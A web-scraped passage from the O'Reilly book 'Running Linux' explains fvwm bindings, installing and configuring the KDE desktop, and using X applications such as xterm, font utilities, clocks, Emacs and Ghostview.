Using a digit from 0 through 9 in context binds the function to a window titlebar button. By default, there are two such buttons--one on the left edge of the titlebar, and one on the right. Binding mouse functions to other buttons causes them to be visible. Left titlebar buttons are given odd numbers (1, 3, 5, 7, and 9), and right titlebar buttons are given even numbers (2, 4, 6, 8, 0). Figure 11-2 shows a window with all buttons visible, with their corresponding numbers. Unless you bind mouse functions to each button, most of them will be invisible.

Figure 11-2. Buttons on fvwm titlebar

modifiers specifies various key combinations to be used in conjunction with a mouse-button click. Valid modifiers are C for control, M for meta, S for shift, N for none, or A for any of the above. For example, setting modifiers to C means that the Control key must be pressed while the mouse button is clicked.

Here are some examples of mouse bindings:

# Button        Context Modifi  Function
Mouse 1         R       N       PopUp "Fvwm"
Mouse 2         R       N       PopUp "Xclients"
Mouse 3         R       N       WindowList
These lines bind each mouse button to one of the pop-up menus fvwm or xclients, defined previously, or the WindowList command, which is a pop-up menu containing entries for each window on the display:
# Window titlebar buttons
Mouse 1         1       N       Popup "Fvwm"
Mouse 1         3       N       Iconify
Mouse 1         4       N       Destroy
Mouse 1         2       N       Resize
Here we bind titlebar buttons 1, 3, 4, and 2 (two buttons on each side of the titlebar) to various functions. The left-most titlebar button pops up the fvwm menu, the second-left button iconifies the window, and so on. The fvwm2 manual page lists all the available functions, such as Resize, Move, and RaiseLower.

You can also specify key bindings with the Key command. They are similar in syntax to mouse bindings:

Key key context modifiers function
with context and modifiers having the meanings given earlier. Here are some examples:
Key Up          A       C       Scroll +0   -100
Key Down        A       C       Scroll +0   +100
Key Left        A       C       Scroll -100 0
Key Right       A       C       Scroll +100 +0
These bindings cause Ctrl-arrowkey to scroll the desktop by a full page in the given direction. You can bind any key to an fvwm function in this way; for instance, the function keys are named F1, F2, and so on.

Read the fvwm2 manual page. As new versions are released, the syntax of the configuration file changes slightly, and new features are added periodically.

Previous | Home | Next
11. Customizing Your X Environment | Book Index | 11.3. The K Desktop Environment
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The K Desktop Environment (Running Linux)

 Running LinuxSearch this book
Previous Next

11.3. The K Desktop Environment

The K Desktop Environment is an Open Source software project that aims at providing a consistent, user-friendly, contemporary desktop for Unix and hence Linux systems. Since its inception in October 1996, it has made amazing progress. This is partly due to the choice of a very high-quality GUI toolkit, Qt, as well as the consequent choice of using C++ and its object-oriented features for the implementation.

It should be noted up front that KDE is not a window manager like fvwm, but a whole desktop system that can be used with any other window manager. However, it also comes with its own window manager called kwm, which will give best results and is therefore what we will cover here.

In the section about configuring the fvwm window manager, you have seen that configuring Linux desktops usually means learning the syntax of configuration files and editing those files, something that long-term Linux users take for granted but that often rebuffs new users. The KDE team has therefore made it one of its goals that everything that is configurable in KDE (and about everything is) should be configurable via GUI dialogs. You can still edit configuration files, if you prefer, but you don't need to, and even the most experienced users usually admit that in order to do simple things like change the background color of the desktop, it's faster to click a few buttons than to read the manual page, find the syntax for specifying the background color, open the configuration file, edit it, and restart the window manager.

Besides easy configuration, KDE sports a few other features that were previously unheard of on Linux. For example, it provides a full Internet integration of the desktop. It comes with a file manager that doubles as a web browser, and browsing files on some FTP site is just the same as browsing your local hard disk. You can drag and drop icons that represent Internet locations to your desktop and thus easily find them again later. In addition, almost all KDE application are able to open and save files in remote locations.

Drag-and-drop, commonplace on Windows or the Macintosh, is also central to KDE. For example, to open a file in the text editor, you just grab its icon in the file manager window and drop it onto the editor window. This works no matter where the file is located; if it is on a remote server, KDE automatically downloads the file for you before opening it in the text editor or whichever application you choose to open it with.

While manual pages are very well suited to give programmers instant access to terse information about system libraries, they are not really very well suited for end-user documentation. KDE therefore uses standard HTML files and comes with a fast help viewer. The viewer also knows how to display manual page and Info files so that you can access all the documentation on your system from one application. In addition, most KDE applications support context-sensitive help.

For a few releases, the X Window System has supported a feature called session management. This is a capability that lets you leave your X environment (for example, because you want to turn off or reboot your computer), and when you return to X, all the applications that you had opened reappear at the same positions and in the same configuration. Unfortunately, this very user-friendly feature was rarely supported by X applications. KDE uses it extensively. KDE provides a session manager that handles session management, and all KDE applications are written to behave properly with that feature.

It should be mentioned that KDE is not just another window manager. KDE contains a window manager, kwm, and a very good one at that, but that is only one part of KDE. Some of the others are the file manager, the web browser, the panel, a pager, the control center for configuring your desktop, and many, many more. If you want to, you can even run KDE with another window manager, but you might lose some of the integration features.

You might be thinking, "Well, this all sounds very nice, but I have a couple of normal X applications that I want to run." In this case, you will be delighted to hear that you can continue to do that. Yes, you can run all X applications on a KDE desktop, and KDE even provides some means to integrate them as far as possible into the overall desktop. For example, if you so desire, KDE can try to reconfigure your other X applications to use the same colors as the overall desktop so that you get a nice consistent environment. Of course, non-KDE applications will not support some of KDE's advanced features like drag-and-drop or session management, but you can continue to use the programs you have grown accustomed to until someone releases KDE applications that address the same needs (or perhaps KDE versions of your favorite programs themselves).

The current development version of KDE, as well as the upcoming KDE office suite (see http://koffice.kde.org ), is heavily based on CORBA, which among other things enables embedding of office components running on different machines into each other.

KDE is in continuing development, but every few months the KDE team releases a so-called official release that is considered very stable and suitable for end users. These releases are made available in both source and binary packages in various package formats, often specifically adapted for the most common Linux distributions. If you don't mind fiddling around with KDE and can stand an occasional bug, you can also live on the bleeding edge and download daily snapshots of KDE, but this is not for the faint at heart.

11.3.1. Installing KDE

Most Linux distributions come with KDE nowadays, but if yours doesn't, or you want to use a newer version of KDE, you can download it from the Internet. http://www.kde.org is your one-stop shop for everything KDE related, including documentation, screenshots, and download locations. ftp://ftp.kde.org is the KDE project's FTP site, but it is often overloaded, so you might be better off trying a mirror instead.

KDE consists of a number of packages. These include:

kdesupport

This package contains third-party libraries that are not part of KDE itself but that are used by KDE. It is recommended that you install this package to make sure that you have the correct versions of all the libraries installed.

kdelibs

This package contains the KDE libraries. They contain the basic application frame, a number of GUI widgets, the configuration system, the HTML display system, and many other things. Without this package, nothing in KDE will run.

kdebase

In this package, you will find the basic KDE applications that make a desktop a KDE desktop, including the file manager/web browser, the window manager, and the panel. You definitely need this package if you want to use KDE.

kdegames

A number of games, including card games, action games, and strategy games. Everybody will probably want to install these but only to get acquainted with the system, of course.

kdegraphics

A number of graphics-related programs like a dvi viewer, a PostScript viewer, and an icon editor.

kdeutils

This package contains some productivity tools like text editors, a calculator, printer managers, and an address-book program.

kdemultimedia

As the name implies, this package contains multimedia programs, including a CD player, a MIDI player and--of all things--a Karaoke player.

kdenetwork

Here, you will find programs for use with the Internet, including a mail reader, a news reader, and some network management tools.

kdeadmin

This package contains some programs for the system administrator, including a user manager, a runlevel editor, and a backup program.

korganizer

This package contains only one application: a full-featured personal information manager that even supports synchronization with Palm Pilots.

In addition to the packages mentioned here, which are officially provided by the KDE team, there are literally hundreds of other KDE programs available. See http://www.kde.org /applications.html for a list of applications that are currently available.

Once you have selected which packages to install, you can go on and actually install them. How you do that depends on which Linux distribution you use and whether you install a binary package or compile KDE yourself from the source code. If your distribution contains KDE, you will also be able to install KDE during your system installation.

Once the software is loaded onto your hard disk, there are only a few steps left to do. First, you have to make sure that the directory containing the KDE applications is in your PATH environment variable. The default location of the executable KDE programs is /opt/kde/bin, but if you have chosen to install KDE to another location, you will have to insert your path here. You can add this directory to your PATH variable by issuing:

export PATH=/opt/kde/bin:$PATH

To make this permanent, either add this line to your configuration file .bashrc in your home directory or to the system-wide configuration file /etc/profile.

Next, do the same with the directory containing the KDE libraries (by default /opt/kde/lib) and the environment variable LD_LIBRARY_PATH:

export LD_LIBRARY_PATH=/opt/kde/lib:$LD_LIBRARY_PATH

Now you are almost done, but you still need to tell X that you want to run the KDE desktop when X starts. This is done in the file .xinitrc in your home directory. Make a backup copy first. Then remove everything in this file and insert the single line:

startkde

startkde is a tiny shell script provided with KDE that simply starts up the KDE window manager kwm and a number of basic applications.

11.3.2. Using KDE

Using KDE is quite easy. Most things are very intuitive, so you can often simply guess what to do. We will, however, give you some hints for what you can do with KDE here, to encourage you to start further explorations into your KDE desktop.

When you start KDE for the first time, it looks like Figure 11-3. Along the lower border of the screen, you see the so-called panel. The panel serves several purposes, including fast access to installed applications. Along the upper border, you can see the taskbar. This bar shows all open windows and can be used for quickly accessing any window currently on the desktop. In addition, KDE opens a file manager window when started for the first time.

Figure 11-3. The KDE desktop at first startup

KDE provides a number of workspaces that are accessible via the buttons in the middle of the panel, labeled One to Four by default. Try clicking on those buttons. You can see how the file manager window is visible only while you are on workspace One, while the panel and the taskbar are always visible. Now go to workspace Two and start a calculator by clicking on the calculator icon on the panel. When the panel appears, change workspaces again. You will see that the calculator is visible only while you are on workspace Two. When you are on any other workspace, click on the calculator label in the taskbar. This will immediately bring you back to the workspace where your calculator is shown.

To try another nifty feature, push the small button in the title bar of the calculator window that looks like a push pin. Now change workspaces again. You will see that the calculator window is now visible on every workspace--it has been "pinned down" to the background of the desktop, so to speak.

If you grow tired of the calculator window on every workspace, simply click on the pin again, and if you want to get rid of the window as a whole, click on the button with the little x on it in the upper-right corner.

There are lots of things that you can do with windows in KDE, but we'll take you now on a short exploration trip to the so-called K menu. You open the K menu by clicking on the icon with the gear-and-K symbol to the far left of the panel. Besides some options for configuring the K menu and the panel itself, you will find all installed KDE applications here, grouped into submenus. To start one of those applications, simply select the menu entry.

We have promised that you can run old X applications on your KDE desktop. You can do that either by opening a terminal window and typing the application name on the command line, or by pressing Ctrl-F2 and entering the application name in the small command line that appears in the middle of the screen. But you can also integrate non-KDE applications into the K menu and the panel, that is, showing them as icons that you can click on to run the associated programs, even though this requires a little bit more work.

Depending on how you have installed KDE, it may well be that there is already a submenu Non-KDE programs in your K menu that contains a number of non-KDE applications. If you don't have this, run the application Appfinder that you can find in the System submenu. This is a tool that searches your system for a number of applications that it has in its database and integrates each one into the KDE desktop by generating a so-called .kdelnk file for it. If the program that you want to integrate into KDE is not included in the Appfinder's database, you will have to write such a .kdelnk file yourself, but as always in KDE, there are dialogs for doing this where you just have to fill in the required information. See the KDE documentation at http://www.kde.org /documentation/index.html.

By default, the panel already contains a number of icons to start the most often-used programs, but you can easily add your own. To do this, open the K menu again, but this time, first open the submenu Panel and then the submenu Add Application. Probably much to your surprise, something that looks like a copy of the K menu pops up. Find the application whose icon you want to add to the panel and select it, just as if you wanted to start it. KDE will then add the icon for this application to the panel. You can even add full submenus to the panel by selecting the first menu entry in a submenu in the Add Application tree. The icon will then have a small black arrow in it, which indicates that clicking on the icon opens a menu instead of starting an application.

There is only limited space on the panel, so you might need to remove some icons of programs that you do not often use. Just click with the right mouse button on the icon and select Remove. In general, you can get at a lot of functionality in KDE by clicking the right mouse button!

Next, we will show you how to configure your KDE desktop to your tastes. As promised, we will not edit any configuration files to do this.

Configuration is done in the KDE Control Center, which you can start from the K menu. All the configuration options are grouped at different levels. When you start up the control center, you will see the top-level groups. By clicking on the plus signs, you can open a group to see the entries in this group.

As an example, we will now change the background color to something else. To do this, open the Desktop group and choose Background. After a short time, the configuration window for configuring the background will appear (see Figure 11-4).

Figure 11-4. Configuring the background of the KDE desktop

By default, the background is configured to have one single color. If you want to leave it at that and just change this color, click on the color field below the One Color button. A color selection dialog pops up where you can select a color to your tastes. When you close the color selection dialog, the new color is displayed in the monitor in the upper right corner of the configuration window. When you configure KDE, you often see such monitors that allow you to preview your choice. However, you also have the option to see what your choice looks like when in full use. Simply click on the Apply button at the lower border of the configuration window, and your change is automatically applied. There is no need to restart the desktop.

If you think that a single color is boring, maybe you want a gradient where one color is slowly morphed into another. In this case, select the Two Colors button and select a second color; KDE will compute the gradient and display it in the monitor.

You also have the option of using a background image. If that is what you want, go to the Wallpaper area of the configuration dialog. You can either select one of the wallpapers that come with KDE, which contains some very stylish ones, by choosing from the drop-down list, or you can select any graphics file of your own.

There are more things you can do with the background, but we'll leave it at that for now and look at something else: Configuring styles and colors of the windows.

With normal window managers, you can configure the color of the window decorations, but not of the window contents. With KDE, this is different. Since KDE is an integrated desktop, color and other settings apply both to the window decorations painted by the window manager and to the window contents painted by the applications. We'll now set off to configure a little bit of the appearance.

In the control center, open the Desktop group, and choose Colors. You'll see a preview window and a selection list where you can pick a color scheme. KDE does not work by configuring individual colors, but by defining so-called color schemes. This is because it does not make sense to change only one color; all colors must fit together to achieve a pleasing and eye-friendly look.

While KDE lets you create your own color schemes, doing so is a task that requires some knowledge about color psychology and human vision. we'd therefore suggest that you pick one of the predefined color schemes. Check in the preview monitor whether you like what you see. Now comes the fun part: click on the Apply button and watch how all running applications flicker a bit and suddenly change colors--without having to restart them. While Windows users tend to take this for granted, it was never seen before on Unix before KDE.

The same feature applies to other settings. For example, open the Desktop group and choose Style. Here, you can select "Windows 95" style. If this is selected, all user interface elements are drawn according to the Windows standard; if it is not selected, they are drawn according to the Motif standard common on Unix. You can change this setting by clicking Apply and watch your running applications change their style. The same goes, by the way, for the fonts that you can select on the Font page.

There are many more things to configure in KDE, but we cannot go through all the options here, otherwise there would not be much space left for other topics in this book. But there's one more thing that we'd like to show you. You will especially like this if English is not your native language or if you frequently converse in another language.

Go to the Language page in the Desktop group (see Figure 11-5). Here, you can select the language in which your KDE desktop and the KDE applications should be running. Currently, KDE lets you choose from more than thirty languages.

Figure 11-5. Configuring the language of the KDE desktop

You might be wondering why you can select more than one language. The reason is that the KDE programs are translated by volunteers, and not all the applications are translated at the same time. Thus, a particular application might not be available in the language that you have chosen as your primary language. In this case, the secondary language is chosen automatically for that application, and if there is no translation available for this application, the tertiary language is chosen. If all else fails, English is chosen, which always exists.

There is much more to say about using the KDE desktop, but we'll let you explore it yourself. Besides the obvious and intuitive features, there are also those that are not so obvious but very useful nevertheless, so be sure to check the documentation at http://www.kde.org /documentation/index.html.

Previous | Home | Next
11.2. The fvwm Window Manager | Book Index | 11.4. X Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


X Applications (Running Linux)

 Running LinuxSearch this book
Previous Next

11.4. X Applications

There are thousands of programs available for X. They range from basic utilities (such as xterm and xclock, already discussed) to editors to programming aids to games to multimedia applications. The most we can provide here is a tiny slice of the software available for X. In this section, we'll present those applications that all X users should know how to use. These aren't necessarily the most exciting programs out there, but they should certainly be part of your toolbox. Note that if you are using a desktop environment such as KDE, described in the last section, it may have tools of its own that do the same things as the ones described here, but work better with the desktop. The general techniques described here usually apply to the desktop tools as well.

A more comprehensive explanation of X applications can be found in X Window System User's Guide.

11.4.1. xterm: Your Home Base

Let's start our exploration of X applications with the workhorse that you'll be spending most of your time with--xterm. This is simply a window that contains a Unix shell. It displays a prompt, accepts commands, and scrolls like a terminal.

NOTE

If you use KDE, you can also use KDE's own terminal emulator kvt, which provides more or less the same features as xterm, but can be configured via a user-friendly GUI.

Perhaps you are struck by the irony of buying a high-resolution color monitor, installing several megabytes of graphics software, and then being confronted by an emulation of an old VT100 terminal. But Linux is simply not a point-and-click operating system. There are plenty of nice graphical applications, but a lot of the time you'll want to manipulate text, and a command-line interface still offers the most powerful tools for doing that.

So let's take look at an xterm window. Figure 11-6 shows one where we've already entered a few commands. By the way, if you've read the section "Section 11.1, "Basics of X Customization"" earlier in this chapter, you may enjoy browsing some of the files in /usr/lib/X11/app-defaults; they show the default behavior of X applications when you don't specify your own preferences.

Figure 11-6. xterm window

11.4.2. Starting up xterm

Maybe first we should explain how we created the xterm window. You can reproduce it through the command:

eggplant$ xterm  -geometry 80x25-20-30  -fn 7x13bold  -sb  -name xterm-3

where the options mean:

-geometry 80x25-20-30

The window is 80 characters wide and 25 characters high, located 20 pixels from the right edge of the screen and 30 pixels from the bottom edge.

-fn 7x13bold

Text appears in a medium-sized bold font. (A large, but limited, set of fonts are available; we'll show you how to look at them later, in the section "Section 11.4.5, "Choosing Fonts".")

-sb

A scrollbar is displayed.

-name xterm-3

The string xterm-3 appears in the titlebar at the top of the window, and on the icon when you iconify the window.

But you don't want to go to the trouble of entering this long command every time you start an xterm. What we did (as you can see in the earlier section "Section 11.1, "Basics of X Customization"") was put the following options in our .Xdefaults file:

 ! Defaults for all xterm clients
  XTerm*scrollBar:        true

 ! Specific xterms
  xterm-3*Geometry:       80x25-20-30

  xterm-3*Font:           7x13bold

and when we logged in, our .xinitrc file issued the command:

xterm -name "xterm-3" &

which created the window. As you saw in the section "The fvwm Window Manager" earlier in this chapter, you can easily set up a menu, mouse button, function key, and so on, to start the xterm.

To close a window, type exit or press Ctrl-D. If this capability seems dangerous to you (because you could lose your window by pressing Ctrl-D accidentally), start up the xterm with the -ls option, which stands for login shell. Now you have to enter logout to close the window. (The option has some other consequences, too. In the bash shell, it causes your ~/.bash_profile file to run. In the C shell, it causes your ~/.login file to run.)

11.4.3. Cutting and Pasting Selections

Actually, xterm offers a good deal more than a VT100 terminal. One of its features is a powerful cut-and-paste capability.

Take another look at Figure 11-1. Let's say we didn't really want the app-defaults directory; we wanted to look at the fonts in /usr/lib/X11/fonts instead. (This is actually not too interesting; it was an arbitrary choice.)

First, we'll choose the part of the cd command that interests us. Put the mouse just to the left of the c in cd. Press the left mouse button, and drag the mouse until it highlights the slash following X11. The result is shown in Figure 11-7.

Did you include too many characters or too few? That's all right; just hold down the Shift key and press the left mouse button anywhere in the highlighted area. Now you can make the highlighted area bigger or smaller.

Figure 11-7. Selected text in xterm

When the highlighted area covers just the right number of characters, click the middle button. xterm pastes in what you've selected on the next command line. See the result in Figure 11-8.

Figure 11-8. xterm window after text is pasted

Now you can type in the remainder of the directory name fonts and press the Enter key to execute the command.

You can select anything you want in the window--output as well as input. To select whole words instead of characters, double-click the left mouse button. To select whole lines, triple-click it. You can select multiple lines too. Selecting multiple lines is not useful when you're entering commands but is convenient if you're using the vi editor and want to cut and paste a lot of text between windows.

Be careful: if a long line wraps around, you will end up with a newline in the selection even though you didn't press the Enter key when you entered the line.

11.4.4. Scrolling

Eventually, as you type along in your xterm, previous commands will scroll off the top of the window. That's why we specified a scrollbar when we started the xterm. Using it is pretty simple (as it ought to be with any point-and-click tool), but there are a few neat tricks. By the way, the techniques you learn here should work in most applications that offer scrollbars. An X application is free to act any way the programmer designed it to, but most developers use the same conventions as xterm.

First, let's get a lot of text into our window. Issuing one of the following commands should suffice:

eggplant$ ls /bin
eggplant$ ls /usr/bin
eggplant$ cat ~/.*

Of course, the output will go streaming by too fast for you to see it. Now we can go back and look at it. If you examine the scrollbar area on the left side of the window, you'll see a little dark area near the bottom. Its size indicates how much of the output you can currently see, and its position shows you where you are (at the end).

Place the mouse in the scrollbar area near the bottom, and press the right mouse button. This moves you one whole page upward; what used to be at the top of the screen is now at the bottom. If you click near the top of the screen, you move back by just a couple lines. If you click near the middle, you move back half a window at a time. Notice that the scrollbar moves up as you click the button.

To go back down, click the left mouse button. Again, clicking near the top moves you just a couple lines, while clicking near the bottom moves you a full window's length.

When you have a really big buffer of saved material, you may want to go to the beginning or end really fast; that's what the middle mouse button is good for. Click anywhere in the scrollbar area, and you'll go to that part of the buffer. Therefore, click at the top to go to the beginning, and at the bottom to go to the end. Or click right on the scrollbar itself, hold down the button, and drag the scrollbar where you want to go.

If you're a keyboard kind of person, you don't need to use the mouse to scroll. You can also hold down the Shift key and press the Page Up key to scroll backward, or the Page Down key to scroll forward. By the way, the keys work the same in a virtual console (see the section "Section 4.3, "Virtual Consoles"" in Chapter 4, "Basic Unix Commands and Concepts").

You'll find that xterm does not save much output by default. To increase the number of lines that are saved, use the -sl number option or put an entry like the following in your .Xdefaults file:

XTerm*saveLines:                400

11.4.5. Choosing Fonts

Think your fonts are ugly or too small? There are plenty of others to choose from. Virtually every X application lets you choose the font used to display each kind of text (menus, and so on). You just have to know what their names are and what they look like.

A desktop, as described earlier in this chapter, gives you a simple and intuitive way to choose a font. If you're not using a desktop, you can at least view fonts using the xfontsel and xfd utilities. But after you find a font you like, you must copy it into .Xdefaults or do whatever else you have to to configure an application.

Fonts on the X Window System have incredibly long names. A typical one is:

-misc-fixed-bold-r-normal--13-100-100-100-c-70-iso8859-1

The hyphens divide the fonts into fields. For now, what interests us most is the field following the eleventh hyphen, where we see c in this example.

For xterm and many other applications, what you need is a monospaced font. That means a font where every character takes up the same amount of space, as opposed to proportional fonts, where an m is wider than an i. Proportional fonts are great for displaying the output of a text processor like TeX, but they look horrible when used in a program that's not designed to handle the variety of spacing. When the eleventh field of the font name is c or m, it represents a monospaced font.

Other fields can also help you make a choice. The third field tells you whether the font is medium (which means normal weight) or bold. The seventh field, which says 13 in this example, gives you the size (actually the height of the largest character in pixels).

Now let's see whether our system has a font with the size and style we want. Start the utility xfontsel from a command line in an xterm window. It loads all the fonts on your system and displays a screen where you make your selection. You can also restrict the fonts to ones of particular interest, but the syntax of the command is rather daunting because any field you don't specify explicitly must be specified as an asterisk:

eggplant$ xfontsel -pattern -*-*-bold-*-*-*-18-*-*-*-m-*-*

A typical xfontsel display looks like Figure 11-9.

Figure 11-9. xfontsel to show fonts

Each of the strings such as wght and slant represents a part of the font name. The font name in our earlier example has a weight of bold and a slant of r which stands for roman. The eleventh field is spc, but we want to be c or m. So, put your mouse on the spc field, press the left mouse button to display a menu, and select either c or m from the menu. You can then try other fields (to select a size, choose from the ptSz menu) and view a font matching your specification.

An older way of checking available fonts is to use the xlsfonts command. Just as ls lists files, xlsfonts lists fonts. But if you enter the command without arguments, the volume of output will overwhelm you. It's better to figure out what types of fonts you need and just look at those.

In xlsfonts, you specify a font through the -fn option and use an asterisk to match an arbitrary set of characters. If we want to match the third and eleventh fields exactly, and don't care what the other fields are, we enter:

eggplant$ xlsfonts -fn -*-*-bold-*-*-*-*-*-*-*-m-*-*

This tells xlsfonts that the first and second fields can be anything. But the third must be bold. The eleventh is also specified; it's an m. What we'll see is a list of monospaced bold fonts. If none exist, we'll get the message: g:

xlsfonts: pattern "-*-*-bold-*-*-*-*-*-*-*-m-*-*" unmatched

Now replace the m with a c and look for the rest of the monospaced fonts.

Actually, you don't have to use such complicated names. In our examples earlier in the chapter, we specified the short name 7x13bold. That kind of name is called an alias; it represents another name of the longer type. To see a short list of monospaced fonts using these aliases, enter:

eggplant$ xlsfonts *x*

We've gone through a fair amount of trouble already, and all we have is a list of names. What do fonts actually look like? The xfontsel shows you the letters and digits from a font. If you want to see every character in the font, use the xfd command, which stands for "X font display." It displays a grid with one rectangle for each character:

eggplant$ xfd -fn -misc-fixed-bold-r-normal--13-100-100-100-c-70-iso8859-1

When you find a font you like, cast it in concrete by putting it in your .Xdefaults file:

XTerm*Font:           7x13bold

11.4.6. Clocks

How can your screen be complete if it is unadorned by a little clock that tells you how much time you are wasting on customizing the screen's appearance? You can have a clock just the way you want it, square or round, analog or digital, big or small. You can even make it chime.

The .xinit file shown earlier in this chapter contains a line that starts oclock:

oclock -geometry 70x70+5+5 &

Refer to Figure 11-1 to see what this clock looks like. You may prefer the square outline of the xclock program:

xclock -geometry 150x150+5+5 &

Or perhaps a tiny digital clock at the bottom of your screen:

xclock -digital -geometry +10-10

oclock allows you to scatter more colors about, while xclock gives you more control over other aspects of the clock; see the manual pages for more information. To get a beep every half hour, invoke xclock with the -chime option.

11.4.7. Emacs

The X features in Emacs are getting spiffier and spiffier. They include pull-down menus, different typefaces for different parts of your window, and a complete integration of cut-and-paste functions with the X environment.

NOTE

Most distributions nowadays also carry XEmacs, a version of Emacs that integrates even better into the X Window System and has a much nicer and more user-friendly appearance. You might want to try it out. Most of the concepts here apply to XEmacs, too.

Let's start by defining some nice colors for different parts of the Emacs window. Try this command:

eggplant$ emacs  -bg ivory  -fg slateblue  -ms orangered  -cr brown

You are setting the background color, foreground color, mouse color, and cursor color respectively. The cursor is the little rectangle that appears in the window, representing what's called "point" in Emacs--the place where you type in text. We'll return to colors soon.

When you start Emacs, the menu bar on top and the scrollbar on the right side of the window stand out. See Figure 11-10.

Figure 11-10. Emacs window

The scrollbar works just like the xterm scrollbar. The menu bar offers a lot of common functions. Some editing modes, like C and TeX, have their own pull-down menus. The menus are not documented, so you will just have to experiment and try to figure out which Emacs functions they correspond to.

When you want to use a function that doesn't have a simple key sequence--or you've forgotten the sequence--the menus come in handy. For instance, if you rarely use a regular expression search (a quite powerful feature, well worth studying), the easiest way to invoke it is to pull down the Edit menu and choose Regexp Search.

Another useful menu item is Choose Next Paste on the Edit menu. This offers something you can't get any other way: a list of all the pieces of text you've cut recently. In other words, it shows you the kill ring. You can choose the text you want to paste in next, and the next time you press C-y, it's put into your buffer.

If you get tired of the scrollbar and the menu, put the following LISP code in your .emacs file to make them go away:

(if (getenv "DISPLAY")
    (progn (menu-bar-mode -1)
           (scroll-bar-mode -1))
   )

The mouse is the next X feature with interesting possibilities. You can cut and paste text much the same way as in xterm. And you can do this between windows; if you see some output in an xterm you'd like to put in a file, you can copy it from the xterm and paste it into your Emacs buffer. Moreover, any text you cut the normal way (such as through C-w) goes into the same selection as text you cut with the mouse. So you can cut a few words from your Emacs buffer and paste them into an xterm.

The right mouse button works a little unusually. If you select text with the left mouse button, you can click once on the right mouse button to copy it. A second click on the right mouse button removes it. To paste it back, press the middle mouse button. The text goes just before the character the mouse is currently on. Make a mistake? That's all right; the undo command reverses it just as for any other Emacs function. (Choose Undo from the Edit menu or just press the C-_ key.)

If you really love mouse work, you can define the buttons to execute any functions you want, just as with keys. Try putting the following command in your .emacs file. When you hold down the Shift key and press the left mouse button, a buffer for composing a mail message appears:

(define-key global-map [S-mouse-1] 'mail)

We don't recommend you redefine the existing mouse functions, but the Shift, Control, and Meta keys offer plenty of unused possibilities. Combine S-, C-, and M- any way you want in your definitions:

(define-key global-map [S-C-mouse-1] 'mail)

Now let's play around a bit with windows. Emacs has had windows of its own for decades, of course, long before the X Window System existed. So an Emacs window is not the same as an X window. What X considers a window, Emacs calls a frame.

How would you like to edit in two frames at once? Press C-x 5 2, and another frame appears. The new frame is simply another view onto the same editing session. You can edit different buffers in the two frames, but anything you do in one frame is reflected to the corresponding buffer in the other. When you exit Emacs by pressing C-x C-c, both frames disappear; if you want to close just one frame, press C-x 5 0.

To end our exploration of Emacs on the X Window System, we'll look at the exciting things you can do with colors. You can change these during an Emacs session, which makes it easy to play around with different possibilities. Press M-x, then type set-background-color and press the Enter key. At the prompt, type ivory or whatever other color you've chosen. (Remember, Emacs uses the convention M-x where we use Meta-x or Alt-x in the rest of the book.)

Be careful to make the foreground and background different enough so that you can see the text! In addition to set-background-color, Emacs offers set-foreground-color, set-cursor-color, and set-mouse-color.

These settings may seem idle play, but now they show their true colors when you let Emacs highlight different parts of your buffer in different ways. For instance, when you are programming in C or LISP, you can display strings, comments, function names, and keywords in different colors.

To set up color coding, you have to set font-lock mode. The easiest way to do this is in your .emacs start-up file; add lines like the following:

(require 'font-lock)
(setq global-font-lock-mode t)
(setq font-lock-maximum-decoration t)

These rather complicated commands tell each major mode to set the font lock whenever you open a buffer in that mode. So whenever you edit a file ending with the suffix .c, for instance, you automatically set the font lock.

Next, you want to play with the font faces, which are the different kinds of text defined by Emacs. Press M-x and enter the command list-faces-display. You'll see a list like the following:

               bold abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
        bold-italic abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
            default abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
          highlight abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
             italic abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
           modeline abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
             region abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
secondary-selection abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ
          underline abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ

You can now set the background and foreground of each face interactively. Here is an example:

  1. Enter M-x set-face-background.

  2. Type modeline at the first prompt.

  3. Type lemonchiffon at the second prompt.

You see the results immediately. Then set the foreground:

  1. Enter M-x set-face-foreground.

  2. Type modeline at the first prompt.

  3. Type green at the second prompt.

No, that probably doesn't offer enough contrast for you to read the words. So do it again and use the color maroon. That looks better.

Find a buffer with C or LISP code in it and try setting each of the other faces. Faces are assigned rather arbitrarily to elements of the code. As you add colors, new dimensions will be revealed in your code. For instance, in C or C++ mode:

  • Comments and preprocessor keywords appear in italic.

  • Strings and include filenames appear in underline.

  • Function names and defined variables appear in bold-italic.

It probably looks best to reserve the bolder colors for short, rarely seen pieces of text.

When you find a set of colors you like, hard-wire them into your .emacs file by using the LISP functions that correspond to the commands you've been experimenting with. Here's a sample set:

(set-background-color "ivory")
(set-foreground-color "slateblue")
(set-cursor-color "brown")
(set-mouse-color "orangered")
(set-face-foreground 'bold "black")
(set-face-background 'bold "lightpink")
(set-face-foreground 'bold-italic "red")
(set-face-background 'bold-italic "wheat")
(set-face-foreground 'italic "darkolivegreen")
(set-face-background 'modeline "lemonchiffon")
(set-face-foreground 'modeline "maroon")
(set-face-foreground 'underline "violet")

You can also set colors in your .Xdefaults file, but that takes a little more effort, so we won't bother to explain it here.

11.4.8. Ghostview: Displaying PostScript

Adobe PostScript, as a standard in its own right, has become one of the most popular formats for exchanging documents in the computer world. Many academics distribute papers in PostScript format. The Linux Documentation Project offers its manuals in PostScript form, among others. This format is useful for people who lack the time to format LaTeX input, or who have immense network bandwidth for transferring files. When you create documents of your own using groff or TeX, you'll want to view them on a screen before you use up precious paper resources by printing them.

Ghostview, a GNU application, offers a pleasant environment for viewing PostScript on the X Window System. It's very simple; invoke it with the name of the file to be displayed, for instance:

eggplant$ ghostview article.ps

The Ghostview window is huge; it can easily take up most of your screen. The first page of the document is displayed with a vertical scrollbar on the right and a horizontal one on the bottom. Menu options appear on the left side of the window, and page numbers just to their right.

